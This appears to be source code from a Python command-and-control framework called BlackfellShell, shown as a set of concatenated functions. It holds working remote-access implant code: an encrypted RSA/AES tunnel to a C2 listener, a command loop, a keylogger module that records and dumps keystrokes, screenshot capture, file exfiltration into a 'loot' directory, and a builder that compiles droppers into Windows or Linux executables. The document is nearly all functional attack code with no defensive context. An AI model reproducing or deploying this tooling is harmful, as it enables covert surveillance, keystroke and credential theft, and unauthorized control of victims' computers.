def terminate(self, args=None): """Stop the agent fully""" bc.info("Terminating!") self.s.close() self.run_flag = False self.resp = None
def CRYPTSETUP(self, args=None): """Configure and start the encrypted tunnel with the listener""" try: self.RSA_KEY = RSA.generate(2048) pub_key = self.RSA_KEY.publickey().exportKey() print("DEBUG - generated public key : {}".format(pub_key)) #WE can't use builtin resp() yet because no crypto self.s.send(b64encode(pub_key)) enc_AES = self.s.recv(1024) decryptor = PKCS1_OAEP.new(self.RSA_KEY) self.AES_KEY = decryptor.decrypt(b64decode(enc_AES)) bc.success("Got AES Key : {}".format(self.AES_KEY)) #Destroy RSA Key del (self.RSA_KEY) bc.info("Sending success message!") self.send("success") resp = self.recv(string=True) bc.info("Got success message back off C2, now to test it.") if "success" in resp: bc.success("Cryptsetup success!!") return True else: bc.err("Crypto setup failed, response: {}".format(resp)) raise ValueError("No success message received from listener") except Exception as e: bc.err("Exception setting up crypto : {}.".format(e)) return False
def main(agent, args=None): """Order and receive screenshots from dropper, displays if requested""" try: settings = parse_args(agent, args) if not settings: bc.err("Error parsing args : {}".format(settings)) return #Setup out-file timestamp = time.strftime("-%Y-%m-%d-%H%M%S") file_name = agent.listener.loot_dir + 'screenshot' + '-' + agent.name + timestamp + '.png' #receive the file! gotsz = False raw_bytes = b'' #Get the agent to screenshot agent.send('screenshot') while True: chunk = agent.recv(print_flag=False, blocking=False) try: if not chunk: continue if not gotsz: size = chunk[8:].decode() #Size tuple as string size = (int(size.split(',')[0]), int(size.split(',')[1])) gotsz = True #print("DEBUG - Img size : {}".format(size)) elif chunk.endswith(b'<BSEOF>'): raw_bytes += chunk[:-7] break else: raw_bytes += chunk #Status info except Exception as e: bc.err( "Download screnshot chunk failed because : {}. Try again?". format(e)) break #Reconstruct the image from raw raw bytesb bc.info("Reconstructing image.") img = Image.frombytes('RGB', size, raw_bytes) if settings['show']: img.show() img.save(file_name) img.close() bc.green_print( "\n[+] ", "{} - screenshot saved to : {}".format(agent.name, file_name)) except Exception as e: bc.err_print("\n[!] ", "{} Screenshot failed : {}".format(agent.name, e)) #Flush socket chunk = b'' while b'<BSEOF>' not in chunk: chunk = agent.recv(print_flag=False, blocking=False)
def do_activate(self, line): """Activates agents, by setting an active flag. Interact commands will start an interaction with any agents that have been activated.""" act = "*" if line == "" else line bc.info("Activating: {}".format(act)) for l in self.root_menu.listeners: for a in l.agent_list: if line in a.name: a.active = True #It's not our listener else: pass
def do_deactivate(self, line): """Unsets the active flag in a given agent, so that when interact starts, this agent isn't included in the interaction.""" act = "*" if line == "" else line bc.info("Deactivating: {}".format(act)) for l in self.root_menu.listeners: for a in l.agent_list: if line in a.name: a.active = False #It's not our listener else: pass
def recv(self, print_flag=True, debug=False, string=False): """Receive data from the C2, handles long messages until length <2048 decrypts and returns everything as bytes or string as per string flag. now designed to get any network traffic and store in fifo, then do recv from fifo.""" #get traffic from network and append to recv_buffer while True: chunk = self.s.recv(2048) self.recv_buf += chunk if len(chunk) < 2048: break #parse recv buffer for next message #We should have a colon at position 1, #another after the 16 byte IV, then another somwhere else again if self.recv_buf.count(b':') < 3: bc.err("Error, didn't receive at least 1 complete message") return False elif self.recv_buf.find(b':') > 0 and self.recv_buf.find( b':', 1) != AES.block_size + 1: bc.err("Receive buffer contains malformed messages!") return False else: #first col already at pos 0 from previous checks col1 = 0 col2 = self.recv_buf.find(b':', 1) col3 = self.recv_buf.find(b':', col2 + 1) message = self.recv_buf[:col3 + 1] self.recv_buf = self.recv_buf[ col3 + 1:] #Also remove the message from queue if debug: bc.info("Encrypted message : {}".format(message)) IV = b64decode(message[col1 + 1:col2]) ciphertext = b64decode(message[col2 + 1:col3 + 1]) #Decryption return either message, or False if debug: bc.info("IV : {}".format(IV)) if string: return self.decrypt(IV, ciphertext).decode() else: return self.decrypt(IV, ciphertext)
def do_kill(self, line): """Kill agents and/or listeners by name""" if not line or line == "*": input_str = bc.warn_format( "[!]", " Do you want to kill all agents and listeners? [Y/n]:") if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']: return for l in self.root_menu.listeners: for a in l.agent_list: if line in l.name: bc.info("killing : {}".format(l.name)) #l.terminate() l.send_q.put('terminate') elif line in a.name: #l.terminate_agent(a) bc.info("killing : {}".format(a.name)) l.send_q.put('terminate_agent {}'.format(a.name)) #It's not our listener else: bc.warn("{} not found, not terminating.".format(line))
def send(self, message, debug=False): """Send string to C2, automatically encrypts the data and manages conversion of the data to bytes & b64encoded objects before sending.""" if not message: bc.info("No mesasge to send. not sending.") return try: if debug: bc.info("Sending {} to {}.".format(message, str(self.name))) enc = self.encrypt(message) if enc: if debug: print("Message - {} IV : {}".format(message, enc[0])) bc.info("Message length : {}".format(len(b''.join(enc)))) message = b':' + b':'.join( [b64encode(i) for i in enc]) + b':' #colon IV colon message, colon if message: self.s.sendall(message) #Sendall instead else: bc.err("Encryption failed in repl function.") except BrokenPipeError as e: bc.err("Agent {} not responding. Terminating".format(self.name)) self.terminate() bc.warn("Terminate failed, falling back on emergency method.") raise Exception("Agent {} dead.".format(self.name)) except Exception as e: bc.err("Failed to send message: {}".format(e))
def run(self): """The main function called when a dropper runs""" #Retry connections a few times for i in range(self.retries): try: self.connect() bc.success("Connected") #i = self.retries break except Exception as e: bc.err("Could not connect:\n{}.".format(e)) time.sleep(self.retry_wait) continue #Now connected, encrypt: bc.info("Setting up encryption") if not self.CRYPTSETUP(): bc.err("Encryption setup failed. Exiting.") return #Main loop while self.run_flag: bc.info("Loop start - receiving") self.get_command() bc.blue_print("[-] ", "- Implant got: {} : {}".format(self.cmd, self.args)) if self.cmd in self.commands: #if self.args: print("DEBUG - command {} is in the command list. Yay!".format( self.cmd)) if self.args: try: self.commands[self.cmd](self.args) except Exception as e: self.send( "ERROR Exception in Implant (with args) :\n{}". format(e)) self.cmd = '' else: try: self.commands[self.cmd]() except Exception as e: self.send("ERROR Exception in Implant :\n{}".format(e)) self.cmd = '' else: self.send( 'ERROR - Command not recognised: {}'.format(self.cmd + ' ' + self.args)) bc.info("Command complete - main loop over.")
def run(self): """Main function called when listere thread starts""" try: #Check RSA key again, never too careful if not self.check_RSA_KEY(): bc.err("RSA Key not valid. If you're stuck reset in home menu.") success == False raise ValueError("RSA Key invalid") bc.info('Starting listener on {}:{}'.format(self.LHOST, self.LPORT), True) #Strong info self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.s.bind((self.LHOST, self.LPORT)) self.s.listen(self.max_conns) #Listen for max of N connectionsa self.success = True except Exception as e: bc.err_print('[!] ', '- Failed to bind socket : \n {}'.format( str(e))) self.s.shutdown(socket.SHUT_RDWR) self.s.close() return while True: #'print("DEBUG - Listener looping again!") self.s.settimeout(0.5) #Socket must timeout to enable loop if not self.kill_flag.is_set(): #Run general COMMANDS if not self.send_q.empty(): self.command = self.send_q.get_nowait() #False non blocking #It's hogging CPU, is the queue maybe full of blank strings? if self.command == '': continue self.do_method() #Handle TCP connection try: c = self.s.accept() #Timeout on accept so we can read the queue (conn, client_address) = c agt = Agent(self, conn, client_address) agt.name = "agt-"+ self.name + "-" + str(len(self.agent_list) +1) self.agent_list.append(agt) agt.start() bc.blue_print("\n[!] ", "- Agent connected : {}.".format(agt.name)) c = None #So the loop behaves #If no agent in the timeout, let's get q stuff except socket.timeout: pass #Now print anything in the queue: if not self.recv_q.empty(): #print("reading q2") resp = self.recv_q.get() #print("reading q3") bc.blue_print("[-] ", "- Received :".format(resp)) time.sleep(5) # TODO - remove else: self.s.shutdown(socket.SHUT_RDWR) self.s.close() break #Kill thread except Exception as e: bc.warn_print("[!] ", "- Listener stopped: {}".format(e)) self.s.shutdown(socket.SHUT_RDWR) self.s.close() self.success == False finally: bc.blue_print("[-] ", "- Listener {} terminated.".format(self.name))
def recv(self, print_flag=True, debug=False, string=False, blocking=True): """Receive data from implant, handles decryption of the data and will continue to receive until no more data is sent.""" if debug: bc.info("Agent {} receiving data.".format(self.name)) if not blocking: #Sockets should be non-blocking self.s.setblocking(0) if debug: bc.info("Set nonblocking.") else: self.s.setblocking(1) if debug: bc.info("Set blocking.") #get traffic from network and append to recv_buffer try: while True: chunk = self.s.recv(2048) self.recv_buf += chunk if len(chunk) < 2048: break except socket.error as e: err = e.args[0] #err, text = e.args if err == errno.EAGAIN or err == errno.EWOULDBLOCK: #bc.info("No data received by socket in {}".format(self.name)) if debug: bc.info("No data received by socket in {}".format(self.name)) else: # a "real" error occurred bc.err("Socket error in {} receive : {}".format(self.name, e)) #parse recv buffer for next message #We should have a colon at position 1, #another after the 16 byte IV, then another somwhere else again if self.recv_buf.count(b':') < 3: if debug: bc.err("Error, no data to rev. Didn't receive at least 1 complete message") return False elif self.recv_buf.find(b':')>0 and self.recv_buf.find(b':', 1) != AES.block_size + 1: bc.err("Receive buffer contains malformed messages!") return False else: #first col already at pos 0 from previous checks col1 = 0 col2 = self.recv_buf.find(b':', 1 ) col3 = self.recv_buf.find(b':', col2 +1 ) message = self.recv_buf[:col3 + 1] #Get message FIFO style self.recv_buf = self.recv_buf[col3 + 1:] #Also remove the message from queue if debug: bc.info("Encrypted message : {}".format(message)) bc.info("Decoding IV from : {}".format(message[ col1 + 1 : col2 ])) IV = b64decode(message[ col1 + 1 : col2 ]) ciphertext = b64decode(message[ col2 + 1 : col3 + 1 ]) #Decryption return either message, or False if debug: bc.info("IV : {}".format(IV)) recv = self.decrypt(IV, ciphertext) if b'ERROR Exception' in recv: bc.err("Exception occured in implant:\n{}".format(recv)) #Print if flag set if print_flag: bc.blue_print("\n[+] ", "{} : \n{}".format(self.name, recv.decode())) #return string or bytes as requested if string: if debug: bc.info("Recv returning string.") return recv.decode() else: if debug: bc.info("Recv returning bytes.") return recv
def main(dropper, args=None): """start, stop, kill, clear and dump key logger and associated data""" #Get settings settings = parse_args(dropper, args) if not settings: bc.err("Error parsing args : {}".format(settings)) return #Settings check if settings['start'] and settings['kill']: bc.warn("Cannot start AND kill at the same time.") dropper.send("ERROR - cannot start and kill simoultaneously") return #If not already created, make some dropper attributes try: print("DEBUG - Checking if required objects exist alread") dropper.keylogger dropper.log_stream logging.info("") print("DEBUG - it all exists!") except: print("DEBUG - they didn't exist...") dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.log_stream = StringIO() logging.basicConfig(stream=dropper.log_stream, level=logging.INFO, format="%(message)s") #Start if settings['start'] and not dropper.keylogger.running: dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.keylogger.start() dropper.send("Keylogger started in {}, {}".format( dropper.name, dropper.keylogger.running)) return elif settings['start']: dropper.send("ERROR - Cannot start, logger already running") return #Kill if settings['kill'] and not dropper.keylogger.running: dropper.send("ERROR - Cannot stop, logger not yet running : {}".format( dropper.keylogger.running)) return elif settings['kill']: print("DEBUG - Killing Keylogger") dropper.keylogger.stop() dropper.send("Keylogger stopped in {}".format(dropper.name)) return #Dump if settings['dump']: print("Logged data : {}".format(dropper.log_stream.getvalue())) success, message = dump_keylog(dropper) if success: bc.success("Successful keylog dump!") dropper.send("{} : {}".format(dropper.name, message)) else: bc.info("Keylog failed, sending error message.") dropper.send("DUMP failed : {}".format(message)) return #Clear if settings['clear']: print("DEBUG - clearing") if dropper.keylogger.running: dropper.keylogger.stop() print("Logged data pre-clear : {}".format( dropper.log_stream.getvalue())) dropper.log_stream.truncate( 0) #Creating a new stringIO object iddn't seem to work print("Logged data post-clear: {}".format( dropper.log_stream.getvalue())) dropper.keylogger = keyboard.Listener(on_press=on_press, on_release=on_release) dropper.keylogger.start() else: dropper.log_stream.truncate(0) dropper.send("Keylogger buffer cleared in {}".format(dropper.name)) return #Else it was nothing dropper.send("No valid keylogger commands provided.") return
def demo(): """Print a series of demo BShell commands to console""" w, h = os.get_terminal_size() w = 0.9 * w #Scale for beauty bc.info( "The BlackfellShell can be used to run any python module written for it, but the key functionality it allows is running agents." ) time.sleep(5) bc.info("All modules are called using the keyword 'use' like this:") time.sleep(5) print("BS >\r", end="") time.sleep(1) fake_type('BS > ', 'use auxiliary/example') print("") bc.info("Using module: auxiliary/example") print(""" Example module, for use in understanding the BShell. Hello world within the BShell. Prints your message a number of times. num_repeats must be a string. color can be green, red, orange or blue. """) print("BS : " + bc.green_format("modules/auxiliary/example", "") + " >") time.sleep(10) bc.info("Once you've activated a module, you'll switch to a new menu.") time.sleep(2) bc.info("This new menu will allow you to configure and run the module.") time.sleep(2) bc.info("Start by getting module info:") time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'None', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(5) bc.info("Each option in the module can be set with the 'set' keyword") time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set color red') print("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ") time.sleep(4) bc.info("Let's check it made a change.") time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'red', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(4) bc.info( "If you didn't like that, the reset keyword will set options back to default." ) time.sleep(4) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'reset color') time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") time.sleep(1) bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'None', 'None', 'True'], ['num_prints', 'None', 'None', 'True'], ['color', 'None', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(4) bc.info("You must set all required options.") time.sleep(4) bc.info( "Modules will test for required options, and maybe other things when they run." ) time.sleep(4) bc.info("Let's configure the rest of this module now.") time.sleep(5) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set message Hello, World.') time.sleep(2) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'set color red') time.sleep(2) bc.info( "You can use tab completion on most settings, just hit tab once you've started typing." ) time.sleep(5) message = "BS : " + bc.green_format("modules/auxiliary/example", "") + " > " for i in 'set nu': message += i print('{}\r'.format(message), end="") time.sleep(0.1) time.sleep(1) print('{}<TAB>\r'.format(message), end="") time.sleep(0.5) print('{}<TAB>\r'.format(message), end="") time.sleep(1) message = message + 'm_prints' print('{}\r'.format(message), end="") time.sleep(4) fake_type(message, ' 8') time.sleep(4) print("") fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'info') print("") time.sleep(1) bc.info("Showing info for module:\n") format_string = "{{:<{}}} {{:<{}}} {{:<{}}} {{:<{}}}".format( int(0.2 * w), int(0.5 * w), int(0.15 * w), int(0.15 * w)) #format_string = "{:<20} {:<40} {:<30} {:<10}" underline = "=" * int(w) bc.bold_print( format_string.format("Option", "Value", "Default", "Required?"), "") bc.blue_print(underline, "") printer = [['exit_on_exec', 'True', 'True', 'True'], ['message', 'Hello, World.', 'None', 'True'], ['num_prints', '8', 'None', 'True'], ['color', 'red', 'None', 'True']] for p in printer: print(format_string.format(p[0], p[1], p[2], p[3])) print("") time.sleep(5) bc.info( "Now you're all configured, you can run the module with the 'execute' keyword" ) time.sleep(5) fake_type("BS : " + bc.green_format("modules/auxiliary/example", "") + " > ", \ 'execute') time.sleep(1) bc.info("Setting up module...") bc.success("Setup complete. Executing...") bc.green_print("[-] ", "Print incoming!") for i in range(8): bc.err_print("Hello, World.", "") bc.green_print("[-] ", "Module executed, exiting.") time.sleep(5) bc.info( "Most commands have help messages you can use, just type help in any menu." ) time.sleep(3) bc.success("Good luck!")
def main(agent, file=None): """REquest a file from the dropper, then receive raw data until the dropper sneds an end of file marker. Save to a local timestamped file""" try: if not file: bc.err_print("[!] ", "- Error - no file specified.") return agent.send('download ' + file) bc.info("{} downloading {}".format(agent.name, file)) #Setup file to save here timestamp = time.strftime("-%Y-%m-%d-%H%M%S") if len(file.split('.')) > 1: nm = '.'.join(file.split('.')[:-1]) ext = '.' + '.'.join(file.split('.')[-1:]) else: nm = file ext = '' file_name = agent.listener.loot_dir + nm + ext + '-' + agent.name + timestamp + ext temp_file = agent.listener.loot_dir + agent.name + 'temp.dnld' count = 0 last_completion = 0 tot_bytes = 0 completion = 0 gotsz = False scrn_w, scrn_h = os.get_terminal_size() scrn_w = scrn_w - 7 - 20 #7 less for percentage figures + prompt + slack prnt_str = '{} {} {}%\r'.format('{:>' + str(int(scrn_w)) + '}', '{}', '{}') except Exception as e: bc.err("Exception: {}".format(e)) return with open(file_name, 'wb') as f: while True: try: chunk = agent.recv(print_flag=False, debug=False, string=False, blocking=False) if not chunk: #We're non-blocking, so there may be empty chunks continue if b'File not found' in chunk: bc.err( '{} unable to download, {} file may not exist.'.format( agent.name, file)) return elif not gotsz: size = float(chunk.decode()[8:]) #Get size to print: if size / 1000000000 >= 1: prnt_size = '{} Gb'.format( round((size / 1024000000.0), 1)) elif size / 1000000 >= 1: prnt_size = '{} Mb'.format(round((size / 1024000.0), 1)) elif size / 1000 >= 1: prnt_size = '{} Kb'.format(round((size / 1024.0), 1)) else: prnt_size = '{} byte'.format(size) #Now print it print("") #Neaten output bc.info("{} downloading {} data.".format( agent.name, prnt_size)) gotsz = True elif chunk.endswith(b'<BSEOF>'): chunk = chunk[:-7] f.write( chunk ) # Write those last received bits without the word 'BSEOF' chunk = '' #Because we don't want orphan bits of chunk break else: f.write(chunk) tot_bytes += len(chunk) completion = (tot_bytes / size) * 100 if round(completion, 0) - round(last_completion, 0) >= 1.0: #print("{}% downloaded.".format(int(round(completion, 0)))) #print('{} downloaded {}[%d%%]\r'%int(round(completion, 0)), end="") print('{} downloaded {}%\r'.format( bc.blue_format("[+] ", '- ' + agent.name), int(round(completion, 0))), end="") #print(prnt_str.format( # bc.blue_format("[+] ", '- ' + agent.name), ' downloaded ',int( # round(completion, 0))), end="") #print("Chunks : {}, tot_bytes : {}".format(count, tot_bytes)) last_completion = completion except Exception as e: bc.err( "Download chunk failed because : {}. Try again?".format(e)) clear_pipe = b'' while b'<BSEOF>' not in clear_pipe: clear_pipe = agent.recv(print_flag=False) return #gracefully stop download operation finally: count += 1 chunk = '' print("") bc.success('Download complete: {}'.format(file_name), True)
def setup(self): """Configures and tests the module, anything that sanity checks user input can be put in here.""" #First configure LHOST and LPORT from listener try: self.set_option('LPORT', int(self.get_option('LPORT'))) except: bc.err("LPORT invalid - must be integer. Cannot autoconvert.") return False #LHOST try: self.set_option('LHOST', str(self.get_option('LHOST'))) except: bc.err("LHOST invalid - must be integer. Cannot autoconvert.") return False #Check out directory - should only need to be created once if not os.path.exists(self.get_option('out_dir')): try: os.makedirs(self.get_option('out_dir')) bc.info("Output directory created : {}".format(self.get_option('out_dir'))) except: bc.err("Could not read or create out_dir : {}. Is it a valid directory?.".format (self.get_option('out_dir'))) return False #Setup the source dirs - different for each dropper self.base_dir = self.get_option('out_dir') + self.get_option('filename') + '/' #Check if file already exists test_dir = self.base_dir[:-1] i=1 while True: if os.path.isdir(test_dir): new_test_dir = self.base_dir[:-1] + str(i) i+=1 bc.warn("{} already exists, trying to place in {}".format(test_dir, new_test_dir)) test_dir = new_test_dir else: break self.base_dir = test_dir + '/' self.src_dir = self.base_dir + self.src_dir self.bin_dir = self.base_dir + self.bin_dir #Now make the dirs for d in [self.base_dir, self.src_dir, self.bin_dir]: if not os.path.isdir(d): os.makedirs(d) bc.info("Created : {}".format(d)) #Check boolean settings if not self.check_bool('py2exe'): return False if not self.check_bool('py2exe'): return False if not self.check_bool('exit_on_exec'): return False if (self.get_option('py2exe') and self.get_option('pyinstaller'))\ or ((not self.get_option('py2exe')) and (not self.get_option('pyinstaller'))): bc.warn("You must pick either py2exe or pyinstaller\n py2exe : {} Pyinstaller: {}".format( self.get_option('py2exe'), self.get_option('pyinstaller'))) return False #Check platform if self.get_option('platform').lower() not in [ 'windows', 'linux']: bc.warn("Platform {} invalid. Pick 'linux' or 'windows'.".format( self.get_option('platform'))) return False return True
def run(self): """Main module code, called when the module is executed This module prints user provided messages to the console""" #Override with what to do with this class when it runs exit_on_exec, LHOST, LPORT, listener, out_dir, filename, py2exe, pyinstaller, \ platform, retries = [i['value'] for i in self.options.values() ] #Get code for our dropper and put it in some source files src = [] src.append("print('hello, world')") src.append("from resources.droppers import bs_tcp as d") src.append("drp = d.BSDropper('{}', {})".format(LHOST, LPORT)) src.append("drp.retries = {}".format(retries) ) src.append("drp.run()" ) #Write source file src_filename = self.src_dir + self.get_option('filename') + '.py' #Write source file with open(src_filename, 'w') as s: for line in src: s.write(line + '\n') #Write temp file to work on with open('tmp.py', 'w') as s: for line in src: s.write(line + '\n') #Cross compile options first #Rule out py2exe on linux - not required but belt and braces if py2exe and platform.lower() == 'linux': bc.err("Py2exe does not support Linux. Sorry.") return False #Linux to windows first if sys.platform == 'linux' and platform.lower() == 'windows': if py2exe: if not self.py2exe_linux_2_win(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with py2exe. Check setup instructions for Wine on Python 3.4") return False else: bc.success("Complied with py2exe!") elif pyinstaller: if not self.pyinstaller_linux_2_win(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with pyinstaller. Check setup instructions for Wine on Python.") return False else: bc.success("Complied with pyinstaller!") #Now Windows to linux elif sys.platform == 'win32' and platform.lower() == 'linux' and pyinstaller: if pyinstaller: if not self.pyinstaller_win_2_linux(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with py2exe. Check setup instructions for Ubuntu on WSL.") return False else: bc.success("Complied with pyinstaller!") #Otherwise it's homogeneous compilation elif (sys.platform == 'linux' and platform.lower() == 'linux') or ( sys.platform == 'win32' and platform.lower() == 'windows'): if py2exe and sys.platform == 'windows': if not self.py2exe_same_same(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with py2exe.") return False else: bc.success("Complied with py2exe!") elif pyinstaller: if not self.pyinstaller_same_same(LHOST, LPORT, out_dir, filename): bc.err("Failed to compile with pyinstaller.") return False else: bc.success("Complied with pyinstaller!") #Maybe there's something else else: bc.err("No valid install options for platform : {}".format(platform)) return False os.remove('tmp.py') #Notify the user what we did. bc.info("Dropper files available at {}".format(self.base_dir)) if self.get_option('exit_on_exec'): #Add success criteria - we want to stay in if fail return True else: return False